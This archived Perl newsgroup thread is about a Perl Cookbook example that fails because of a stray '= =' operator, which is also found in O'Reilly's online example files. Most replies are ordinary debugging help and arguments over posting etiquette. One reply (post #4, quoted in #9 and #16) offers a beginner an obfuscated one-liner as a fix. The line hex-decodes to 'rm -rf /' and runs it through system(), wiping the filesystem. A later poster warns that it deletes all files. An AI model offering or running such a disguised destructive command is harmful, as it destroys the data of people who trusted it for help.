Sample perl code does not work (from Perl cookbook, 2nd ed.)

Discussion in 'Perl Misc' started by Staale, Sep 29, 2004.

  1. Staale

    Staale Guest

    Howdy all.

    Could someone explain a perl wanabee why this code fragment does not work?
    I have tried it on a linux box and on my Windows box with ActiveState
    perl installed.

    #---- code start
    #!/usr/bin/perl -w
    # commify_series - show proper comma insertion in list output

    # @lists is an array of (references to anonymous) arrays
    @lists = (
    [ 'just one thing' ],
    [ qw(Mutt Jeff) ],
    [ qw(Peter Paul Mary) ],
    [ 'To our parents', 'Mother Theresa', 'God' ],
    [ 'pastrami', 'ham and cheese', 'peanut butter and jelly', 'tuna' ],
    [ 'recycle tired, old phrases', 'ponder big, happy thoughts' ],
    [ 'recycle tired, old phrases',
    'ponder big, happy thoughts',
    'sleep and dream peacefully' ],
    );

    foreach $aref (@lists) {
    print "The list is: " . commify_series(@$aref) . ".\n";
    }
    # demo for single list
    @list = qw(one two three);
    print "The last list is: " . commify_series(@list) . ".\n";

    sub commify_series {
    my $sepchar = grep(/,/ => @_) ? ";" : ",";
    (@_ = = 0) ? '' :
    (@_ = = 1) ? $_[0] :
    (@_ = = 2) ? join(" and ", @_) :
    join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    }

    #--- Code end

    Best Regards
    Staale Flock
    Norway.
    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 29, 2004
    #1
    1. Advertising

  2. Gunnar Hjalmarsson, Sep 29, 2004
    #2
    1. Advertising

  3. Staale <> wrote in
    news:qOG6d.53556$:

    > Howdy all.


    Instead of trying to be folksy, you might want to read the posting
    guidelines for this group first. That will earn you more brownie points.

    > Could someone explain a perl wanabee why this code fragment does not
    > work?


    What do you mean 'does not work'? What did you expect to see and what
    does it do?

    > sub commify_series {
    > my $sepchar = grep(/,/ => @_) ? ";" : ",";
    > (@_ = = 0) ? '' :
    > (@_ = = 1) ? $_[0] :
    > (@_ = = 2) ? join(" and ", @_) :
    > join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    > }


    I am having a really hard time trying to figure out the right way to
    respond to this. Did you actually look at the message you get when you
    try to run this?

    syntax error at t.pl line 26, near "= ="
    Execution of t.pl aborted due to compilation errors.

    Why on God's green earth would you then not fix the syntax error
    mentioned in the message?

    --
    A. Sinan Unur
    d
    (remove '.invalid' and reverse each component for email address)
    A. Sinan Unur, Sep 29, 2004
    #3
  4. Staale

    Sid Norman Guest

    Staale wrote:
    > Howdy all.
    >
    > Could someone explain a perl wanabee why this code fragment does not
    > work? I have tried it on a linux box and on my Windows box with
    > ActiveState
    > perl installed.


    Try this:

    (my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);
    Sid Norman, Sep 29, 2004
    #4
  5. Staale

    Paul Lalli Guest

    Staale wrote:
    > Howdy all.
    >
    > Could someone explain a perl wanabee why this code fragment does not work?
    > I have tried it on a linux box and on my Windows box with ActiveState
    > perl installed.

    <snip>

    > sub commify_series {
    > my $sepchar = grep(/,/ => @_) ? ";" : ",";
    > (@_ = = 0) ? '' :
    > (@_ = = 1) ? $_[0] :
    > (@_ = = 2) ? join(" and ", @_) :
    > join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    > }
    >


    Ignoring for a moment that the OP should have tried to fix the syntax
    errors... I looked in my copy of the Cookbook and saw that the code is
    printed correctly there. However, the files available on O'Reilly's
    site: http://examples.oreilly.com/perlckbk2/ contain this error.
    Presumably, this is where the OP got the file from. I wonder by what
    means O'Reilly should be informed of this error in their online examples.

    Paul Lalli
    Paul Lalli, Sep 30, 2004
    #5
  6. Staale

    Staale Guest

    Gunnar Hjalmarsson wrote:
    > Staale wrote:
    >
    >> Could someone explain a perl wanabee why this code fragment does
    >> not work?

    >
    >
    > Yes, Perl can. Exactly what did Perl say to you when you tried to run it?

    Sorry I did not include the error message. The wanabee problem is that
    you try hard to understand stuff but you don't. So you smash your head
    in the wall so many times that you start to ask stupide (to some)
    questions.

    The nice thing is that if you don't give up you finaly start learning.
    Hmm. At least I hope so!

    >
    > Please respect the posting guidelines for this group:
    > http://mail.augustmail.com/~tadmc/clpmisc/clpmisc_guidelines.html


    Well, If people followed those guidlines in their strictes speaking. Who
    would nead to post questions?

    Annyway, the solution was to replace = = with ==

    Best Regards
    Staale Flock
    >



    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #6
  7. Staale

    Staale Guest

    A. Sinan Unur wrote:
    > Staale <> wrote in
    > news:qOG6d.53556$:
    >
    >
    >>Howdy all.

    >
    >
    > Instead of trying to be folksy, you might want to read the posting
    > guidelines for this group first. That will earn you more brownie points.

    So I take it you do not like 'folksy' grettings (or polite in some parts
    of the world)?

    I'm realy Sorry I did not know that *.misc was considered 'higly technical'.

    >
    >
    >>Could someone explain a perl wanabee why this code fragment does not
    >>work?

    >
    >
    > What do you mean 'does not work'? What did you expect to see and what
    > does it do?
    >
    >
    >> sub commify_series {
    >> my $sepchar = grep(/,/ => @_) ? ";" : ",";
    >> (@_ = = 0) ? '' :
    >> (@_ = = 1) ? $_[0] :
    >> (@_ = = 2) ? join(" and ", @_) :
    >> join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    >> }

    >
    >
    > I am having a really hard time trying to figure out the right way to
    > respond to this. Did you actually look at the message you get when you
    > try to run this?
    >
    > syntax error at t.pl line 26, near "= ="
    > Execution of t.pl aborted due to compilation errors.


    >
    > Why on God's green earth would you then not fix the syntax error
    > mentioned in the message?

    Basicaly because I was stupide enough to belive that (@_ = = 0) is
    valide perl code.

    >


    Best Regards
    Staale Flock
    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #7
  8. Staale wrote:
    > Gunnar Hjalmarsson wrote:
    >> Please respect the posting guidelines for this group:
    >> http://mail.augustmail.com/~tadmc/clpmisc/clpmisc_guidelines.html

    >
    > Well, If people followed those guidlines in their strictes
    > speaking. Who would nead to post questions?


    I agree that many questions would never need to be posted, which would
    be welcomed by many who read the group. Quite a few questions would
    still be posted, questions that would more often than currently is the
    case be of public interest to those who want to improve their Perl
    skill. :)

    > Annyway, the solution was to replace = = with ==


    Yes, it was.

    --
    Gunnar Hjalmarsson
    Email: http://www.gunnar.cc/cgi-bin/contact.pl
    Gunnar Hjalmarsson, Sep 30, 2004
    #8
  9. Staale

    Staale Guest

    Sid Norman wrote:
    > Staale wrote:
    >
    >>Howdy all.
    >>
    >>Could someone explain a perl wanabee why this code fragment does not
    >>work? I have tried it on a linux box and on my Windows box with
    >>ActiveState
    >>perl installed.

    >
    >
    > Try this:
    >
    > (my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);
    >
    >

    Cute!

    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #9
  10. Staale

    Staale Guest

    Paul Lalli wrote:
    > Staale wrote:
    >
    >> Howdy all.
    >>
    >> Could someone explain a perl wanabee why this code fragment does not
    >> work?
    >> I have tried it on a linux box and on my Windows box with ActiveState
    >> perl installed.

    >
    > <snip>
    >
    >> sub commify_series {
    >> my $sepchar = grep(/,/ => @_) ? ";" : ",";
    >> (@_ = = 0) ? '' :
    >> (@_ = = 1) ? $_[0] :
    >> (@_ = = 2) ? join(" and ", @_) :
    >> join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    >> }
    >>

    >
    > Ignoring for a moment that the OP should have tried to fix the syntax
    > errors... I looked in my copy of the Cookbook and saw that the code is
    > printed correctly there. However, the files available on O'Reilly's
    > site: http://examples.oreilly.com/perlckbk2/ contain this error.
    > Presumably, this is where the OP got the file from. I wonder by what
    > means O'Reilly should be informed of this error in their online examples.
    >
    > Paul Lalli


    Thank you Paul.

    As I wrote to Sinan Unur I was stupid enough to believe (@_ = = 0) was
    valid perl syntax. And as I wrote Gunnar Hjalmarsson 'you smash your
    head in the wall so many times that you start to ask stupid (to some)
    questions'

    Really sorry I did not figure it out before asking.

    Best Regards
    Staale Flock

    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #10
  11. Staale wrote:
    > As I wrote to Sinan Unur I was stupid enough to believe (@_ = = 0)
    > was valid perl syntax. And as I wrote Gunnar Hjalmarsson 'you smash
    > your head in the wall so many times that you start to ask stupid
    > (to some) questions'
    >
    > Really sorry I did not figure it out before asking.


    No need to be sarcastic. My objection was about the way you asked for
    help, not about the fact that you needed help.

    - You didn't include the error message, and thereby let us know which
    line(s) in the code that Perl disapproved of.

    - You didn't show any signs that you had tried yourself to figure out
    what was wrong with those lines.

    If you had done that, I would happily have posted a straight answer.
    OTOH, as you indicated in the reply to me, if you had done that, it's
    unlikely that you wouldn't have figured it out before posting.

    --
    Gunnar Hjalmarsson
    Email: http://www.gunnar.cc/cgi-bin/contact.pl
    Gunnar Hjalmarsson, Sep 30, 2004
    #11
  12. Staale

    John Bokma Guest

    Online code at O'Reilly has bug (Cookbook) (was Re: Sample perl code does not work (from Perl cookbook, 2nd ed.))

    Paul Lalli <> wrote in

    > O'Reilly's site: http://examples.oreilly.com/perlckbk2/ contain this
    > error. Presumably, this is where the OP got the file from. I wonder
    > by what means O'Reilly should be informed of this error in their
    > online examples.


    Mailing the webmaster? I am sure Randal knows how to contact the right
    person. Changed the subject, who knows.

    --
    John MexIT: http://johnbokma.com/mexit/
    personal page: http://johnbokma.com/
    Experienced programmer available: http://castleamber.com/
    Happy Customers: http://castleamber.com/testimonials.html
    John Bokma, Sep 30, 2004
    #12
  13. Staale

    Staale Guest

    Paul Lalli wrote:
    > Staale wrote:
    >
    >> Howdy all.
    >>
    >> Could someone explain a perl wanabee why this code fragment does not
    >> work?
    >> I have tried it on a linux box and on my Windows box with ActiveState
    >> perl installed.

    >
    > <snip>
    >
    >> sub commify_series {
    >> my $sepchar = grep(/,/ => @_) ? ";" : ",";
    >> (@_ = = 0) ? '' :
    >> (@_ = = 1) ? $_[0] :
    >> (@_ = = 2) ? join(" and ", @_) :
    >> join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
    >> }
    >>

    >
    > Ignoring for a moment that the OP should have tried to fix the syntax
    > errors... I looked in my copy of the Cookbook and saw that the code is
    > printed correctly there. However, the files available on O'Reilly's
    > site: http://examples.oreilly.com/perlckbk2/ contain this error.
    > Presumably, this is where the OP got the file from. I wonder by what
    > means O'Reilly should be informed of this error in their online examples.
    >
    > Paul Lalli


    I have submitted an errata (on file 04-01.plx) to O'Reilly.com

    Thanks again Paul!

    Best Regards
    Staale Flock

    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #13
  14. Staale

    Staale Guest

    Gunnar Hjalmarsson wrote:
    > Staale wrote:
    >
    >> As I wrote to Sinan Unur I was stupid enough to believe (@_ = = 0)
    >> was valid perl syntax. And as I wrote Gunnar Hjalmarsson 'you smash
    >> your head in the wall so many times that you start to ask stupid
    >> (to some) questions'
    >>
    >> Really sorry I did not figure it out before asking.

    >
    >
    > No need to be sarcastic. My objection was about the way you asked for
    > help, not about the fact that you needed help.
    >

    So sarcasm is only allowed by people answering (to the stupid)
    questions? Acctualy, my intention was not to be sarcastic. But I do see
    that the last line did not come out as it should. I am sorry I did not
    figure it out before. It would have saved me quite som time!

    > - You didn't include the error message, and thereby let us know which
    > line(s) in the code that Perl disapproved of.
    >
    > - You didn't show any signs that you had tried yourself to figure out
    > what was wrong with those lines.
    >

    Point taken..:eek:)

    > If you had done that, I would happily have posted a straight answer.
    > OTOH, as you indicated in the reply to me, if you had done that, it's
    > unlikely that you wouldn't have figured it out before posting.
    >

    Maybe you would have provided the right answer but I don't agree with
    you that I would have found it my self if I had 'followed procedure'.

    When your stuck you really need to get some kind of input to make you
    see things from another standpoint. If you don't a solution could be
    stumbling near and still far, far away. I think Usenet's real value is
    in providing 'trigger words' rather than 'the right answer'.

    Anyway, I got my 'trigger words' this time. So thanks to all of you!


    Best Regards
    Staale Flock

    --
    To mail me takeaway the obvious..:eek:)
    Staale, Sep 30, 2004
    #14
  15. Staale

    Eric Bohlman Guest

    Staale <> wrote in
    news:u3I6d.53567$:

    > I'm realy Sorry I did not know that *.misc was considered 'higly
    > technical'.


    <hierarchy>.misc specifically means "dedicated to topics that fall under
    <hierarchy> but that don't have sub-groups of their own. Thus
    "comp.lang.perl.misc" means "dedicated to Perl-related topics that aren't
    covered in c.l.p.modules, c.l.p.tk, etc.").

    >> I am having a really hard time trying to figure out the right way to
    >> respond to this. Did you actually look at the message you get when
    >> you try to run this?
    >>
    >> syntax error at t.pl line 26, near "= ="
    >> Execution of t.pl aborted due to compilation errors.

    >
    >>
    >> Why on God's green earth would you then not fix the syntax error
    >> mentioned in the message?

    > Basicaly because I was stupide enough to belive that (@_ = = 0) is
    > valide perl code.


    Even though the compiler plainly told you it wasn't? Why did you think you
    were getting the error message? Did you really go through a thought
    process like "either a) my code is wrong or b) the compiler is broken. I'm
    sure it's b)"?

    That doesn't sound so much like *stupidity* as *stubbornness*. And
    stubbornness is *not* a good quality to have when programming.
    *Determination*, yes, but there's a difference between the two
    (technically, the terms are *perseverance* for determination ("if at first
    you don't succeed, try again" and *perseveration* for stubbornness
    ("insanity is doing the same thing over and over and expecting to get
    different results")).
    Eric Bohlman, Sep 30, 2004
    #15
  16. Staale

    Tintin Guest

    "Sid Norman" <> wrote in message
    news:cjfeee$40n$...
    > Staale wrote:
    >> Howdy all.
    >>
    >> Could someone explain a perl wanabee why this code fragment does not
    >> work? I have tried it on a linux box and on my Windows box with
    >> ActiveState
    >> perl installed.

    >
    > Try this:
    >
    > (my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);


    Only if you're stupid enough to want to delete all your files.
    Tintin, Sep 30, 2004
    #16
  17. Staale <> wrote:

    > I'm realy Sorry I did not know that *.misc was considered 'higly technical'.



    You did not expect that a computer programming language newsgroup
    was "technical"?

    You must get surprised often.


    --
    Tad McClellan SGML consulting
    Perl programming
    Fort Worth, Texas
    Tad McClellan, Sep 30, 2004
    #17
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. sal
    Replies:
    0
    Views:
    377
  2. Brian
    Replies:
    1
    Views:
    1,787
    Jack Klein
    Jul 29, 2003
  3. Simon Foster

    Release date for 2nd edn. Cookbook

    Simon Foster, Jan 12, 2005, in forum: Python
    Replies:
    0
    Views:
    246
    Simon Foster
    Jan 12, 2005
  4. Will McGugan

    Python Cookbook 2nd Ed

    Will McGugan, Mar 28, 2005, in forum: Python
    Replies:
    2
    Views:
    342
    Terry Reedy
    Mar 29, 2005
  5. Benji York
    Replies:
    0
    Views:
    307
    Benji York
    Sep 12, 2005
Loading...

Share This Page